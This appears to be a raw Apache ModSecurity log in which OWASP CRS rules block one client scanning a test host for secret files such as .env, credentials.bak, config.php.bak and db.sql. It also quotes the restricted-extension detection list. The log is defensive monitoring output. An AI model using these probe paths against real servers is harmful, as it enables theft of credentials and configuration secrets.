[Tue Aug 05 11:03:38.563492 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/s3/.env&quot;] [unique_id &quot;aJHI6gTfs-xnRnhnFBwN8AAAAA4&quot;]
[Tue Aug 05 11:03:38.563638 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/s3/.env&quot;] [unique_id &quot;aJHI6gTfs-xnRnhnFBwN8AAAAA4&quot;]
[Tue Aug 05 11:03:38.951996 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/s3/credentials.bak&quot;] [unique_id &quot;aJHI6gTfs-xnRnhnFBwN8gAAAA4&quot;]
[Tue Aug 05 11:03:38.952368 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/s3/credentials.bak&quot;] [unique_id &quot;aJHI6gTfs-xnRnhnFBwN8gAAAA4&quot;]
[Tue Aug 05 11:03:38.952619 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/s3/credentials.bak&quot;] [unique_id &quot;aJHI6gTfs-xnRnhnFBwN8gAAAA4&quot;]
[Tue Aug 05 11:03:40.066678 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /awstats/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aJHI7ATfs-xnRnhnFBwODwAAAA4&quot;]
[Tue Aug 05 11:03:40.066905 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aJHI7ATfs-xnRnhnFBwODwAAAA4&quot;]
[Tue Aug 05 11:03:40.067075 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aJHI7ATfs-xnRnhnFBwODwAAAA4&quot;]
[Tue Aug 05 11:03:40.096142 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aJHI7ATfs-xnRnhnFBwOEAAAAA4&quot;]
[Tue Aug 05 11:03:40.096376 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aJHI7ATfs-xnRnhnFBwOEAAAAA4&quot;]
[Tue Aug 05 11:03:40.096645 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aJHI7ATfs-xnRnhnFBwOEAAAAA4&quot;]
[Tue Aug 05 11:03:40.816648 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backups/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backups/.env&quot;] [unique_id &quot;aJHI7DoY6lxTouuFksPuvQAAAAY&quot;]
[Tue Aug 05 11:03:40.816886 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backups/.env&quot;] [unique_id &quot;aJHI7DoY6lxTouuFksPuvQAAAAY&quot;]
[Tue Aug 05 11:03:40.817043 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backups/.env&quot;] [unique_id &quot;aJHI7DoY6lxTouuFksPuvQAAAAY&quot;]
[Tue Aug 05 11:03:40.837434 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/db.sql&quot;] [unique_id &quot;aJHI7DoY6lxTouuFksPuvgAAAAY&quot;]
[Tue Aug 05 11:03:40.837765 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/db.sql&quot;] [unique_id &quot;aJHI7DoY6lxTouuFksPuvgAAAAY&quot;]
[Tue Aug 05 11:03:40.837963 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/db.sql&quot;] [unique_id &quot;aJHI7DoY6lxTouuFksPuvgAAAAY&quot;]
[Tue Aug 05 11:03:40.985605 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /conf/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aJHI7DoY6lxTouuFksPuxQAAAAY&quot;]
[Tue Aug 05 11:03:40.985842 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aJHI7DoY6lxTouuFksPuxQAAAAY&quot;]
[Tue Aug 05 11:03:40.986017 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aJHI7DoY6lxTouuFksPuxQAAAAY&quot;]
[Tue Aug 05 11:03:41.006057 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.bak&quot;] [unique_id &quot;aJHI7ToY6lxTouuFksPuxgAAAAY&quot;]
[Tue Aug 05 11:03:41.006390 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.bak&quot;] [unique_id &quot;aJHI7ToY6lxTouuFksPuxgAAAAY&quot;]
[Tue Aug 05 11:03:41.006549 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.bak&quot;] [unique_id &quot;aJHI7ToY6lxTouuFksPuxgAAAAY&quot;]
[Tue Aug 05 11:03:41.302782 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.old&quot;] [unique_id &quot;aJHI7ToY6lxTouuFksPuywAAAAY&quot;]
[Tue Aug 05 11:03:41.303089 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.old&quot;] [unique_id &quot;aJHI7ToY6lxTouuFksPuywAAAAY&quot;]
[Tue Aug 05 11:03:41.303277 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.old&quot;] [unique_id &quot;aJHI7ToY6lxTouuFksPuywAAAAY&quot;]
[Tue Aug 05 11:03:41.378472 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aJHI7ToY6lxTouuFksPuzAAAAAY&quot;]
[Tue Aug 05 11:03:41.378809 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aJHI7ToY6lxTouuFksPuzAAAAAY&quot;]
[Tue Aug 05 11:03:41.378977 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aJHI7ToY6lxTouuFksPuzAAAAAY&quot;]
[Tue Aug 05 11:03:41.399162 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aJHI7ToY6lxTouuFksPuzQAAAAY&quot;]
[Tue Aug 05 11:03:41.399357 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aJHI7ToY6lxTouuFksPuzQAAAAY&quot;]
